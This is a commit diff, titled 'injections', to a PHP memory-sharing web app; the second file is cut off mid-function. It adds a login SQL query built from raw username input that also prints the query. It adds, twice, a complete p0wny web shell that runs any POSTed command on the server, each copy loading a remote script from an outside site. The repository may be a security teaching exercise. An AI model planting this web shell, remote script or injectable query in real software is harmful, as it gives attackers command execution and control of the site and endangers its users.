Commit bdadf9f3 authored by Sibidharan Nandhakumar's avatar Sibidharan Nandhakumar 💬
Browse files

injections

parent 2eb5b67d
<section class="py-5 text-center container">
<div class="row py-lg-5">
<div class="col-lg-6 col-md-8 mx-auto">
<h1 class="fw-light">Join us to share memories.</h1>
<h1 class="fw-light">Join us to share memories with the world.</h1>
<p class="lead text-muted">We remember even when you forget.</p>
<p>
<a href="/login.php" class="btn btn-success my-2">Login</a>
......
File added
......@@ -53,7 +53,8 @@ class Session
return Session::$user;
}
public static function getUserSession(){
public static function getUserSession()
{
return Session::$usersession;
}
......@@ -80,15 +81,16 @@ class Session
public static function isAuthenticated()
{
//TODO: Is it a correct implementation?
if(is_object(Session::getUserSession())){
//TODO: Is it a correct implementation? Change with instanceof
if (is_object(Session::getUserSession())) {
return Session::getUserSession()->isValid();
}
}
return false;
}
public static function ensureLogin(){
if(!Session::isAuthenticated()){
public static function ensureLogin()
{
if (!Session::isAuthenticated()) {
header("Location: /login.php");
die();
}
......
......@@ -18,7 +18,7 @@ class User
throw new Exception("User::__call() -> $name, function unavailable.");
}
}
public static function signup($user, $pass, $email, $phone)
{
$options = [
......@@ -43,6 +43,7 @@ class User
public static function login($user, $pass)
{
$query = "SELECT * FROM `auth` WHERE `username` = '$user'";
print($query);
$conn = Database::getConnection();
$result = $conn->query($query);
if ($result->num_rows == 1) {
......
<?php
function featureShell($cmd, $cwd) {
$stdout = array();
if (preg_match("/^\s*cd\s*$/", $cmd)) {
// pass
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
chdir($match[1]);
} else {
chdir($cwd);
exec($cmd, $stdout);
}
return array(
"stdout" => $stdout,
"cwd" => getcwd()
);
}
function featurePwd() {
return array("cwd" => getcwd());
}
function featureHint($fileName, $cwd, $type) {
chdir($cwd);
if ($type == 'cmd') {
$cmd = "compgen -c $fileName";
} else {
$cmd = "compgen -f $fileName";
}
$cmd = "/bin/bash -c \"$cmd\"";
$files = explode("\n", shell_exec($cmd));
return array(
'files' => $files,
);
}
if (isset($_GET["feature"])) {
$response = NULL;
switch ($_GET["feature"]) {
case "shell":
$cmd = $_POST['cmd'];
if (!preg_match('/2>/', $cmd)) {
$cmd .= ' 2>&1';
}
$response = featureShell($cmd, $_POST["cwd"]);
break;
case "pwd":
$response = featurePwd();
break;
case "hint":
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
}
header("Content-Type: application/json");
echo json_encode($response);
die();
}
?><!DOCTYPE html>
<SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT>
<html>
<head>
<meta charset="UTF-8" />
<title>p0wny@shell:~#</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
html, body {
margin: 0;
padding: 0;
background: #333;
color: #eee;
font-family: monospace;
}
#shell {
background: #222;
max-width: 800px;
margin: 50px auto 0 auto;
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
font-size: 10pt;
display: flex;
flex-direction: column;
align-items: stretch;
}
#shell-content {
height: 500px;
overflow: auto;
padding: 5px;
white-space: pre-wrap;
flex-grow: 1;
}
#shell-logo {
font-weight: bold;
color: #FF4180;
text-align: center;
}
@media (max-width: 991px) {
#shell-logo {
display: none;
}
html, body, #shell {
height: 100%;
width: 100%;
max-width: none;
}
#shell {
margin-top: 0;
}
}
@media (max-width: 767px) {
#shell-input {
flex-direction: column;
}
}
.shell-prompt {
font-weight: bold;
color: #75DF0B;
}
.shell-prompt > span {
color: #1BC9E7;
}
#shell-input {
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
}
#shell-input > label {
flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}
#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
}
#shell-input div {
flex-grow: 1;
align-items: stretch;
}
#shell-input input {
outline: none;
}
</style>
<script>
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
function _insertCommand(command) {
eShellContent.innerHTML += "\n\n";
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
eShellContent.innerHTML += escapeHtml(command);
eShellContent.innerHTML += "\n";
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _insertStdout(stdout) {
eShellContent.innerHTML += escapeHtml(stdout);
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function featureShell(command) {
_insertCommand(command);
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function(response) {
_insertStdout(response.stdout.join("\n"));
updateCwd(response.cwd);
});
}
function featureHint() {
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
function _requestCallback(data) {
if (data.files.length <= 1) return; // no completion
if (data.files.length === 2) {
if (type === 'cmd') {
eShellCmdInput.value = data.files[0];
} else {
var currentValue = eShellCmdInput.value;
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
}
} else {
_insertCommand(eShellCmdInput.value);
_insertStdout(data.files.join("\n"));
}
}
var currentCmd = eShellCmdInput.value.split(" ");
var type = (currentCmd.length === 1) ? "cmd" : "file";
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
makeRequest(
"?feature=hint",
{
filename: fileName,
cwd: CWD,
type: type
},
_requestCallback
);
}
function genPrompt(cwd) {
cwd = cwd || "~";
var shortCwd = cwd;
if (cwd.split("/").length > 3) {
var splittedCwd = cwd.split("/");
shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
}
return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
}
function updateCwd(cwd) {
if (cwd) {
CWD = cwd;
_updatePrompt();
return;
}
makeRequest("?feature=pwd", {}, function(response) {
CWD = response.cwd;
_updatePrompt();
});
}
function escapeHtml(string) {
return string
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;");
}
function _updatePrompt() {
var eShellPrompt = document.getElementById("shell-prompt");
eShellPrompt.innerHTML = genPrompt(CWD);
}
function _onShellCmdKeyDown(event) {
switch (event.key) {
case "Enter":
featureShell(eShellCmdInput.value);
insertToHistory(eShellCmdInput.value);
eShellCmdInput.value = "";
break;
case "ArrowUp":
if (historyPosition > 0) {
historyPosition--;
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case "ArrowDown":
if (historyPosition >= commandHistory.length) {
break;
}
historyPosition++;
if (historyPosition === commandHistory.length) {
eShellCmdInput.value = "";
} else {
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case 'Tab':
event.preventDefault();
featureHint();
break;
}
}
function insertToHistory(cmd) {
commandHistory.push(cmd);
historyPosition = commandHistory.length;
}
function makeRequest(url, params, callback) {
function getQueryString() {
var a = [];
for (var key in params) {
if (params.hasOwnProperty(key)) {
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
}
}
return a.join("&");
}
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var responseJson = JSON.parse(xhr.responseText);
callback(responseJson);
} catch (error) {
alert("Error while parsing response: " + error);
}
}
};
xhr.send(getQueryString());
}
window.onload = function() {
eShellCmdInput = document.getElementById("shell-cmd");
eShellContent = document.getElementById("shell-content");
updateCwd();
eShellCmdInput.focus();
};
</script>
</head>
<SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT>
<body>
<div id="shell">
<pre id="shell-content">
<div id="shell-logo">
___ ____ _ _ _ _ _ <span></span>
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|_| |___/ \____/ <span></span>
</div>
</pre>
<div id="shell-input">
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
<div>
<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
</div>
</div>
</div>
</body>
</html>
\ No newline at end of file
<?php
function featureShell($cmd, $cwd) {
$stdout = array();
if (preg_match("/^\s*cd\s*$/", $cmd)) {
// pass
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
chdir($match[1]);
} else {
chdir($cwd);
exec($cmd, $stdout);
}
return array(
"stdout" => $stdout,
"cwd" => getcwd()
);
}
function featurePwd() {
return array("cwd" => getcwd());
}
function featureHint($fileName, $cwd, $type) {
chdir($cwd);
if ($type == 'cmd') {
$cmd = "compgen -c $fileName";
} else {
$cmd = "compgen -f $fileName";
}
$cmd = "/bin/bash -c \"$cmd\"";
$files = explode("\n", shell_exec($cmd));
return array(
'files' => $files,
);
}
if (isset($_GET["feature"])) {
$response = NULL;
switch ($_GET["feature"]) {
case "shell":
$cmd = $_POST['cmd'];
if (!preg_match('/2>/', $cmd)) {
$cmd .= ' 2>&1';
}
$response = featureShell($cmd, $_POST["cwd"]);
break;
case "pwd":
$response = featurePwd();
break;
case "hint":
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
}
header("Content-Type: application/json");
echo json_encode($response);
die();
}
?><!DOCTYPE html>
<SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT>
<html>
<head>
<meta charset="UTF-8" />
<title>p0wny@shell:~#</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
html, body {
margin: 0;
padding: 0;
background: #333;
color: #eee;
font-family: monospace;
}
#shell {
background: #222;
max-width: 800px;
margin: 50px auto 0 auto;
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
font-size: 10pt;
display: flex;
flex-direction: column;
align-items: stretch;
}
#shell-content {
height: 500px;
overflow: auto;
padding: 5px;
white-space: pre-wrap;
flex-grow: 1;
}
#shell-logo {
font-weight: bold;
color: #FF4180;
text-align: center;
}
@media (max-width: 991px) {
#shell-logo {
display: none;
}
html, body, #shell {
height: 100%;
width: 100%;
max-width: none;
}
#shell {
margin-top: 0;
}
}
@media (max-width: 767px) {
#shell-input {
flex-direction: column;
}
}
.shell-prompt {
font-weight: bold;
color: #75DF0B;
}
.shell-prompt > span {
color: #1BC9E7;
}
#shell-input {
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
}
#shell-input > label {
flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}
#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
}
#shell-input div {
flex-grow: 1;
align-items: stretch;
}
#shell-input input {
outline: none;
}
</style>
<script>
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
function _insertCommand(command) {
eShellContent.innerHTML += "\n\n";
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
eShellContent.innerHTML += escapeHtml(command);
eShellContent.innerHTML += "\n";
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _insertStdout(stdout) {
eShellContent.innerHTML += escapeHtml(stdout);
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function featureShell(command) {
_insertCommand(command);
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function(response) {
_insertStdout(response.stdout.join("\n"));
updateCwd(response.cwd);
});
}
function featureHint() {
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
function _requestCallback(data) {
if (data.files.length <= 1) return; // no completion
if (data.files.length === 2) {
if (type === 'cmd') {
eShellCmdInput.value = data.files[0];
} else {
var currentValue = eShellCmdInput.value;
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
}
} else {
_insertCommand(eShellCmdInput.value);
_insertStdout(data.files.join("\n"));
}
}
var currentCmd = eShellCmdInput.value.split(" ");
var type = (currentCmd.length === 1) ? "cmd" : "file";
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
makeRequest(
"?feature=hint",
{
filename: fileName,
cwd: CWD,
type: type
},
_requestCallback
);
}
function genPrompt(cwd) {
cwd = cwd || "~";
var shortCwd = cwd;
if (cwd.split("/").length > 3) {
var splittedCwd = cwd.split("/");
shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
}
return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
}
function updateCwd(cwd) {
if (cwd) {
CWD = cwd;
_updatePrompt();
return;
}
makeRequest("?feature=pwd", {}, function(response) {
CWD = response.cwd;
_updatePrompt();
});
}
function escapeHtml(string) {
return string